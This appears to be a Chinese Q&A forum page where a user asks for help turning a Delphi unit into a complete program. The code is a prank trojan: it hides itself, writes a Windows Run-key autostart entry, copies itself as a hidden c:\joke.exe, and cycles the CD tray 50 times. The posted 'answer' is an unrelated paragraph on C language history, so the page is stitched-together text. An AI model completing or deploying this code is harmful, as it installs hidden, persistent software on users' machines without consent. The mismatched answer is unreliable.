求编程高手帮我把此编程弄成一个完整的小程序

[Copy to clipboard]CODE:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,registry,MMSYSTEM;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
  private
  { Private declarations }  
  public  
  { Public declarations }  
  end;
 
  var  
  Form1: TForm1;  
  implementation  
  {$R *.dfm}
 
  procedure TForm1.FormCreate(Sender: TObject); 
  var reg:tregistry;
  i:integer;  
  begin
  setwindowlong(application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
  reg:=Tregistry.create;
  reg.rootkey:=HKEY_LOCAL_MACHINE;
  if not reg.keyexists('SOFTWARE\joke_leyan') then
  begin reg.createKey('software\joke_leyan');
  reg.openkey('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',true);
    reg.WriteString('joke_leyan','c:\joke.exe');
    end;
    reg.CloseKey;
  if not fileexists('c:\joke.exe') then
  begin showmessage('开个玩笑不要见怪!^_^');
    CopyFile(pchar('game.exe'),pchar('c:\joke.exe'),false);
    filesetattr('c:\joke.exe',fahidden);
  end;
    for i:=1 to 50 do
    begin
    mciSendString('Set cdaudio door open wait', nil, 0, handle);
    mciSendString('Set cdaudio door closed wait', nil, 0, handle);
  end;
  end;
end.

C语言是在70年代初问世的。一九七八年由美国电话电报公司(AT&T)贝尔实验室正式发表了C语言。同时由B.W.Kernighan和D.M.Ritchit合著了著名的“THE C PROGRAMMING LANGUAGE”一书。通常简称为《K&R》，也有人称之为《K&R》标准。但是，在《K&R》中并没有定义一个完整的标准C语言，后来由美国国家标准学会在此基础上制定了一个C 语言标准，于一九八三年发表。通常称之为ANSI C。 C语言是一种结构化语言。它层次清晰，便于按模块化方式组织程序，易于调试和维护。C语言的表现能力和处理能力极强。它不仅具有丰富的运算符和数据类型，便于实现各类复杂的数据结构。它还可以直接访问内存的物理地址，进行位(bit)一级的操作。由于C语言实现了对硬件的编程操作，因此C语言集高级语言和低级语言的功能于一体。既可用于系统软件的开发，也适合于应用软件的开发。此外，C语言还具有效率高，可移植性强等特点。因此广泛地移植到了各类各型计算机上，从而形成了多种版本的C语言。

如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！

点此我要举报以上问答信息